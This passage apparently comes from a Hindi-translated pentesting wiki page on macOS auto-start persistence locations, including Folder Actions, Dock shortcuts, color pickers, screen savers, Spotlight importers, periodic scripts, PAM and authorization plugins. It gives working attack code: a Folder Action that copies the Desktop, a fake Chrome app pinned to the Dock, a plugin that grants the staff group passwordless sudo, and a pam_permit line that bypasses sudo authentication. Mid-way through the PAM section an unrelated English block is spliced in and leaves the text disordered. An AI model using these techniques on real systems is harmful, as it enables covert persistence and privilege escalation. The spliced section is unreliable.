SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} यदि AT tasks सक्षम नहीं हैं तो बनाए गए tasks को क्रियान्वित नहीं किया जाएगा। {% endhint %}

नौकरी फ़ाइलें /private/var/at/jobs/ में मिल सकती हैं।

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

फ़ाइल का नाम कतार, नौकरी संख्या, और यह समय शामिल है जिसे यह चालू होने के लिए निर्धारित किया गया है। उदाहरण के लिए, हम a0001a019bdcd2 पर एक नज़र डालते हैं।

  • a - यह कतार है
  • 0001a - हेक्स में नौकरी संख्या, 0x1a = 26
  • 019bdcd2 - हेक्स में समय। यह इपॉक से बीते हुए मिनटों को प्रतिनिधित करता है। 0x019bdcd2 दसमलव में 26991826 है। यदि हम इसे 60 से गुणा करें तो हमें 1619509560 मिलता है, जो GMT: 2021. अप्रैल 27, मंगलवार 7:46:00 है।

अगर हम नौकरी फ़ाइल को प्रिंट करते हैं, तो हमें at -c का उपयोग करके प्राप्त की गई जानकारी मिलती है।

फ़ोल्डर क्रियाएँ

लेख: https://theevilbit.github.io/beyond/beyond_0024/
लेख: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन आपको System Events से संपर्क करने के लिए osascript को तर्कों के साथ बुलाने की आवश्यकता है ताकि आप फ़ोल्डर क्रियाएँ कॉन्फ़िगर कर सकें
  • TCC छलना: 🟠
  • इसमें डेस्कटॉप, दस्तावेज़ और डाउनलोड की तरह कुछ मूल TCC अनुमतियाँ हैं

स्थान

  • /Library/Scripts/Folder Action Scripts
  • रूट की आवश्यकता है
  • ट्रिगर: निर्दिष्ट फ़ोल्डर तक पहुंच
  • ~/Library/Scripts/Folder Action Scripts
  • ट्रिगर: निर्दिष्ट फ़ोल्डर तक पहुंच

विवरण और शोषण

फ़ोल्डर क्रियाएँ स्क्रिप्ट हैं जो फ़ोल्डर में परिवर्तनों द्वारा स्वचालित रूप से ट्रिगर होते हैं जैसे आइटम जोड़ना, हटाना, या अन्य क्रियाएँ जैसे फ़ोल्डर विंडो खोलना या आकार बदलना। ये क्रियाएँ विभिन्न कार्यों के लिए उपयोगी हो सकती हैं, और इन्हें विभिन्न तरीकों से ट्रिगर किया जा सकता है जैसे फाइंडर UI या टर्मिनल कमांड्स का उपयोग करके।

फ़ोल्डर क्रियाएँ सेट करने के लिए, आपके पास निम्नलिखित विकल्प हैं:

  1. Automator के साथ एक फ़ोल्डर क्रिया वर्कफ़्लो बनाना और इसे एक सेवा के रूप में स्थापित करना।
  2. फ़ोल्डर क्रियाएँ सेटअप में स्क्रिप्ट को मैन्युअल रूप से जोड़ना जैसे किसी फ़ोल्डर के संदर्भ मेनू में।
  3. System Events.app के लिए Apple इवेंट संदेश भेजने के लिए OSAScript का उपयोग करना ताकि फ़ोल्डर क्रिया को प्रोग्रामेटिक रूप से सेटअप किया जा सके।
  • यह विधि विशेष रूप से सिस्टम में क्रिया को समाहित करने के लिए उपयोगी है।

निम्नलिखित स्क्रिप्ट एक उदाहरण है कि फ़ोल्डर क्रिया द्वारा क्या क्रियाएँ की जा सकती हैं:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

ऊपर दिए गए स्क्रिप्ट को फ़ोल्डर क्रियाएँ द्वारा उपयोग के लिए कंपाइल करने के लिए:

osacompile -l JavaScript -o folder.scpt source.js

धारणा करें कि स्क्रिप्ट को कंपाइल कर लिया गया है, तो नीचे दिए गए स्क्रिप्ट को निष्पादित करके फोल्डर क्रियाएँ सेट करें। यह स्क्रिप्ट फोल्डर क्रियाएँ सार्वजनिक रूप से सक्षम करेगा और पिछले कंपाइल किए गए स्क्रिप्ट को विशेष रूप से डेस्कटॉप फोल्डर से जोड़ेगा।

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

उपयोग के साथ सेटअप स्क्रिप्ट चलाएँ:

osascript -l JavaScript /Users/username/attach.scpt
  • यह उस स्थिरता को GUI के माध्यम से लागू करने का तरीका है:

यह वह स्क्रिप्ट है जो क्रियान्वित किया जाएगा:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

इसे इस प्रकार कंपाइल करें: osacompile -l JavaScript -o folder.scpt source.js

इसे इस स्थान पर ले जाएं:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

तो, Folder Actions Setup ऐप्लिकेशन खोलें, वह फ़ोल्डर चुनें जिसे आप देखना चाहें और अपने मामले में folder.scpt को चुनें (मेरे मामले में मैंने इसे output2.scp कहा था):

अब, अगर आप Finder के साथ उस फ़ोल्डर को खोलते हैं, तो आपका स्क्रिप्ट चलाया जाएगा।

यह विन्यास plist में संग्रहीत था जो ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist में बेस64 प्रारूप में स्थित था।

अब, इस परिस्थिति को GUI एक्सेस के बिना तैयार करने का प्रयास करें:

  1. ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist को /tmp में बैकअप करने के लिए कॉपी करें:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. आपने जो फोल्डर एक्शन्स सेट किए हैं, उन्हें हटाएं:

अब हमारे पास एक खाली वातावरण है

  1. बैकअप फ़ाइल कॉपी करें: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. इस कॉन्फ़िगरेशन को उपभोक्त करने के लिए Folder Actions Setup.app खोलें: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} और यह मेरे लिए काम नहीं किया, लेकिन ये व्राइटअप से निर्देश हैं:( {% endhint %}

डॉक शॉर्टकट्स

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • सैंडबॉक्स को छलने के लिए उपयोगी:
  • लेकिन आपको सिस्टम के अंदर एक दुर्भाग्यपूर्ण एप्लिकेशन इंस्टॉल करना चाहिए
  • TCC बायपास: 🔴

स्थान

  • ~/Library/Preferences/com.apple.dock.plist
  • ट्रिगर: जब उपयोगकर्ता डॉक के अंदर ऐप पर क्लिक करता है

विवरण और शोषण

डॉक में जो सभी एप्लिकेशन दिखाई देते हैं, वे सभी plist में निर्दिष्ट हैं: ~/Library/Preferences/com.apple.dock.plist

एक एप्लिकेशन जोड़ना संभव है बस इसके साथ:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

कुछ सामाजिक इंजीनियरिंग का उपयोग करके आप उदाहरण के रूप में Google Chrome का अनुकरण डॉक के अंदर कर सकते हैं और वास्तव में अपनी स्क्रिप्ट को क्रियान्वित कर सकते हैं:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

रंग चुनने वाले

लेख: https://theevilbit.github.io/beyond/beyond_0017

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • एक बहुत विशिष्ट क्रिया होनी चाहिए
  • आप एक और सैंडबॉक्स में समाप्त हो जाएंगे
  • TCC बायपास: 🔴

स्थान

  • /Library/ColorPickers
  • रूट की आवश्यकता है
  • ट्रिगर: रंग चुनने वाला उपयोग करें
  • ~/Library/ColorPickers
  • ट्रिगर: रंग चुनने वाला उपयोग करें

विवरण और शोषण

अपने कोड के साथ एक रंग चुनने वाले बंडल को कंपाइल करें (आप इसका उदाहरण देख सकते हैं) और एक निर्माता जोड़ें (जैसे स्क्रीन सेवर खंड में) और बंडल को ~/Library/ColorPickers में कॉपी करें।

फिर, जब रंग चुनने वाला ट्रिगर होता है, तो आपका भी होना चाहिए।

ध्यान दें कि आपकी पुस्तकालय को लोड करने वाला बाइनरी बहुत प्रतिबंधक सैंडबॉक्स है: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

फाइंडर सिंक प्लगइन

लेख: https://theevilbit.github.io/beyond/beyond_0026/
लेख: https://objective-see.org/blog/blog_0x11.html

  • सैंडबॉक्स को छलने के लिए उपयोगी: नहीं, क्योंकि आपको अपना एप्लिकेशन चलाना होगा
  • TCC बायपास: ???

स्थान

  • एक विशिष्ट एप्लिकेशन

विवरण और उत्पीड़न

एक एप्लिकेशन उदाहरण जिसमें फाइंडर सिंक एक्सटेंशन है यहाँ पाया जा सकता है.

एप्लिकेशन में फाइंडर सिंक एक्सटेंशन हो सकता है। यह एक्सटेंशन एक एप्लिकेशन के अंदर जाएगा जो कि चलाया जाएगा। इसके अतिरिक्त, एक्सटेंशन अपना कोड चलाने के लिए किसी वैध एप्पल डेवलपर सर्टिफिकेट के साथ साइन किया जाना चाहिए, यह सैंडबॉक्स में होना चाहिए (हालांकि ढीली छूटें जोड़ी जा सकती हैं) और ऐसा कुछ ऐसे के साथ पंजीकृत होना चाहिए:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

स्क्रीन सेवर

लेख: https://theevilbit.github.io/beyond/beyond_0016/
लेख: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आप एक सामान्य एप्लिकेशन सैंडबॉक्स में खत्म हो जाएंगे
  • TCC बायपास: 🔴

स्थान

  • /System/Library/Screen Savers
  • रूट की आवश्यकता
  • ट्रिगर: स्क्रीन सेवर का चयन करें
  • /Library/Screen Savers
  • रूट की आवश्यकता
  • ट्रिगर: स्क्रीन सेवर का चयन करें
  • ~/Library/Screen Savers
  • ट्रिगर: स्क्रीन सेवर का चयन करें

विवरण और एक्सप्लॉइट

Xcode में एक नया परियोजना बनाएं और एक नया स्क्रीन सेवर उत्पन्न करने के लिए टेम्पलेट का चयन करें। फिर, उसमें अपना कोड जोड़ें, उदाहरण के लिए निम्नलिखित कोड तक लॉग उत्पन्न करने के लिए।

इसे बनाएं, और .saver बंडल को ~/Library/Screen Savers में कॉपी करें। फिर, स्क्रीन सेवर GUI खोलें और जब आप उस पर क्लिक करें, तो यह बहुत सारे लॉग उत्पन्न करना चाहिए:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} ध्यान दें कि इस कोड को लोड करने वाले बाइनरी की entitlements में (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) आपको com.apple.security.app-sandbox मिलेगा जिससे आप सामान्य एप्लिकेशन सैंडबॉक्स के अंदर होंगे। {% endhint %}

Saver code:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

स्पॉटलाइट प्लगइन्स

लेख: https://theevilbit.github.io/beyond/beyond_0011/

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आप एक एप्लिकेशन सैंडबॉक्स में खत्म हो जाएंगे
  • TCC बायपास: 🔴
  • सैंडबॉक्स बहुत सीमित लगती है

स्थान

  • ~/Library/Spotlight/
  • ट्रिगर: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक नया फ़ाइल जोड़ी जाती है।
  • /Library/Spotlight/
  • ट्रिगर: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक नया फ़ाइल जोड़ी जाती है।
  • रूट की आवश्यकता है
  • /System/Library/Spotlight/
  • ट्रिगर: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक नया फ़ाइल जोड़ी जाती है।
  • रूट की आवश्यकता है
  • Some.app/Contents/Library/Spotlight/
  • ट्रिगर: स्पॉटलाइट प्लगइन द्वारा प्रबंधित एक नया फ़ाइल जोड़ी जाती है।
  • नई एप्लिकेशन की आवश्यकता है

विवरण और शोषण

स्पॉटलाइट macOS की अंतर्निहित खोज सुविधा है, जो उपयोगकर्ताओं को उनके कंप्यूटर पर डेटा तक तेजी से और व्यापक रूप से पहुंचने की सुविधा प्रदान करने के लिए डिज़ाइन की गई है।
इस त्वरित खोज क्षमता को सुविधाजनक बनाने के लिए, स्पॉटलाइट एक प्रोप्राइटरी डेटाबेस बनाए रखता है और एक सूची बनाता है जिसमें अधिकांश फ़ाइलों को पार्स करके इंडेक्स बनाता है, जिससे फ़ाइलों के नाम और उनकी सामग्री के माध्यम से त्वरित खोज की जा सके।

स्पॉटलाइट के अंतर्निहित मेकेनिज़्म में एक केंद्रीय प्रक्रिया है जिसका नाम 'mds' है, जो 'मेटाडेटा सर्वर' के लिए खड़ा है। इस प्रक्रिया के साथ, कई 'mdworker' डेमन हैं जो विभिन्न रखरखाव कार्य करते हैं, जैसे कि विभिन्न फ़ाइल प्रकारों का इंडेक्स बनाना (ps -ef | grep mdworker). ये कार्य स्पॉटलाइट इम्पोर्टर प्लगइन्स या ".mdimporter बंडल्स" के माध्यम से संभव होते हैं, जो स्पॉटलाइट को विभिन्न फ़ाइल प्रारूपों के साथ सामग्री को समझने और इंडेक्स बनाने में सक्षम बनाते हैं।

प्लगइन या .mdimporter बंडल पहले से उल्लिखित स्थानों में स्थित हैं और यदि एक नया बंडल दिखाई देता है तो इसे मिनटों के भीतर लोड किया जाता है (किसी भी सेवा को पुनः आरंभ करने की आवश्यकता नहीं है)। ये बंडल इंडिकेट करने की आवश्यकता है कि वे कौन से फ़ाइल प्रकार और एक्सटेंशन को प्रबंधित कर सकते हैं, इस प्रकार, स्पॉटलाइट उन्हें उपयोग करेगा जब एक नयी फ़ाइल जिसमें उल्लिखित एक्सटेंशन बनाई जाती है।

सभी mdimporters को लोड करने के लिए निम्नलिखित को चलाना संभव है:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

और उदाहरण के लिए /Library/Spotlight/iBooksAuthor.mdimporter इन प्रकार के फ़ाइलों को पार्स करने के लिए उपयोग किया जाता है (एक्सटेंशन .iba और .book आदि):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} यदि आप अन्य mdimporter की Plist की जाँच करें तो आपको प्रविष्टि UTTypeConformsTo नहीं मिलेगा। इसका कारण यह है कि यह एक बिल्ट-इन यूनिफॉर्म टाइप पहचानकर्ता (UTI) है और यह विस्तारों को निर्दिष्ट करने की आवश्यकता नहीं है।

इसके अतिरिक्त, सिस्टम डिफ़ॉल्ट प्लगइन हमेशा प्राथमिकता देते हैं, इसलिए एक हमलावर केवल उन फ़ाइलों तक पहुँच सकता है जिन्हें एप्पल के अपने mdimporters द्वारा अन्यथा सूचीबद्ध नहीं किया गया है। {% endhint %}

अपना खुद का इम्पोर्टर बनाने के लिए आप इस परियोजना के साथ शुरू कर सकते हैं: https://github.com/megrimm/pd-spotlight-importer और फिर नाम, CFBundleDocumentTypes बदलें और UTImportedTypeDeclarations जो आपके समर्थन करना चाहते हैं उन विस्तारों को समर्थन करने के लिए जोड़ें और schema.xml में उन्हें पुनः चित्रित करें।
फिर GetMetadataForFile फ़ंक्शन को बदलें ताकि जब प्रोसेस किए गए विस्तार के साथ एक फ़ाइल बनाई जाए तो आपका पेलोड निष्पादित हो।

अंततः अपना नया .mdimporter बनाएं और कॉपी करें एक में से तीन पिछले स्थानों में और आप जब भी यह लोड होता है लॉगों की निगरानी या जांच करके देख सकते हैं mdimport -L.

प्राथमिकता पैन

{% hint style="danger" %} ऐसा लगता नहीं है कि यह अब काम कर रहा है। {% endhint %}

लेखन: https://theevilbit.github.io/beyond/beyond_0009/

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • इसे विशेष उपयोगकर्ता क्रिया की आवश्यकता है
  • TCC छलांग: 🔴

स्थान

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

विवरण

ऐसा लगता नहीं है कि यह अब काम कर रहा है।

रूट सैंडबॉक्स छलांग

{% hint style="success" %} यहाँ आपको सैंडबॉक्स छलांग के लिए उपयोगी शुरू स्थान मिलेंगे जो आपको बस किसी फ़ाइल में लिखकर कुछ निष्पादित करने की अनुमति देते हैं जो रूट होने और/या अन्य अजीब स्थितियों की आवश्यकता होती है। {% endhint %}

आवधिक

लेखन: https://theevilbit.github.io/beyond/beyond_0019/

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होने की आवश्यकता है
  • TCC छलांग: 🔴

स्थान

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • रूट की आवश्यकता है
  • ट्रिगर: जब समय आता है
  • /etc/daily.local, /etc/weekly.local या /etc/monthly.local
  • रूट की आवश्यकता है
  • ट्रिगर: जब समय आता है

विवरण और शोषण

आवधिक स्क्रिप्ट (/etc/periodic) का निष्पादन लॉन्च डेमन्स के कारण होता है जो /System/Library/LaunchDaemons/com.apple.periodic* में कॉन्फ़िगर किए गए हैं। ध्यान दें कि /etc/periodic/ में स्टोर किए गए स्क्रिप्ट्स फ़ाइल के मालिक के रूप में निष्पादित किए जाते हैं, इसलिए यह किसी संभावित प्रिविलेज उन्नति के लिए काम नहीं करेगा। {% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

{% endcode %}

वहाँ अन्य आवधिक स्क्रिप्ट हैं जो निष्पादित किए जाएंगे जिन्हें /etc/defaults/periodic.conf में दिखाया गया है:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

यदि आप /etc/daily.local, /etc/weekly.local या /etc/monthly.local फ़ाइलों में से किसी भी फ़ाइल को लिखने में कामयाब होते हैं तो यह जल्दी या धीरे से क्रियान्वित होगा

{% hint style="warning" %} ध्यान दें कि आवधिक स्क्रिप्ट स्क्रिप्ट के मालिक के रूप में क्रियान्वित किया जाएगा। इसलिए यदि एक सामान्य उपयोगकर्ता स्क्रिप्ट का मालिक है, तो यह उस उपयोगकर्ता के रूप में क्रियान्वित किया जाएगा (यह विशेषाधिकार उन्नति हमलों को रोक सकता है)। {% endhint %}

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • बॉक्स सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होना चाहिए
  • TCC छलांग: 🔴

स्थान

  • हमेशा रूट की आवश्यकता है

विवरण और शोषण

क्योंकि PAM अधिक स्थायित्व और मैलवेयर पर ध्यान केंद्रित है जो macOS के अंदर आसान निष्पादन पर है, इस ब्लॉग में एक विस्तृत व्याख्या नहीं दी जाएगी, इस तकनीक को बेहतर समझने के लिए लेखन पढ़ें

PAM मॉड्यूल्स की जांच करें:

ls -l /etc/pam.d

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run code during a user's login. They are located in:

~/Library/LaunchAgents
/Library/LaunchAgents

Launch Daemons

Launch Daemons are used to run code during system boot or user login. They are located in:

/Library/LaunchDaemons

Login Items

Login Items are applications that open when a user logs in. They are managed in:

System Preferences > Users & Groups > Login Items
auth       sufficient     pam_permit.so

इसका दिखने का तरीका ऐसा होगा:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

और इसलिए sudo का उपयोग करने का प्रयास किया जाएगा।

{% hint style="danger" %} ध्यान दें कि यह निर्देशिका TCC द्वारा संरक्षित है, इसलिए उपयोगकर्ता को पहुंच के लिए पूछा जाएगा। {% endhint %}

अधिकृति प्लगइन

लेख: https://theevilbit.github.io/beyond/beyond_0028/
लेख: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • सैंडबॉक्स को छलने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होना चाहिए और अतिरिक्त कॉन्फ़िगरेशन करनी होगी
  • TCC बायपास: ???

स्थान

  • /Library/Security/SecurityAgentPlugins/
  • रूट की आवश्यकता है
  • इसे प्लगइन का उपयोग करने के लिए अधिकृति डेटाबेस कॉन्फ़िगर करना भी आवश्यक है

विवरण और शोषण

आप एक अधिकृति प्लगइन बना सकते हैं जो एक उपयोगकर्ता लॉग-इन करते समय निष्क्रिय होगा। इन प्लगइन्स में से एक बनाने के बारे में अधिक जानकारी के लिए पिछले लेखों की जाँच करें (और सावधान रहें, एक खराब लिखा हुआ प्लगइन आपको बाहर निकाल सकता है और आपको अपने मैक को पुनर्प्राप्ति मोड से साफ करने की आवश्यकता होगी)।

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

बंडल को लोड होने वाले स्थान पर मूव करें:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

अंत में इस प्लगइन को लोड करने के लिए नियम जोड़ें:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms अधिकृति फ्रेमवर्क को सूचित करेगा कि इसे अधिकृति के लिए बाहरी तंत्र को कॉल करने की आवश्यकता होगी। इसके अतिरिक्त, privileged इसे रूट द्वारा क्रियान्वित करेगा।

इसे ट्रिगर करें:

security authorize com.asdf.asdf

और फिर कर्मचारी समूह को सुडो एक्सेस होना चाहिए (पढ़ें /etc/sudoers को कन्फर्म करने के लिए)।

Man.conf

लेख: https://theevilbit.github.io/beyond/beyond_0030/

  • सैंडबॉक्स को बाईपास करने के लिए उपयोगी: 🟠
  • लेकिन आपको रूट होना चाहिए और उपयोगकर्ता को man का उपयोग करना चाहिए
  • TCC बाईपास: 🔴

स्थान

  • /private/etc/man.conf
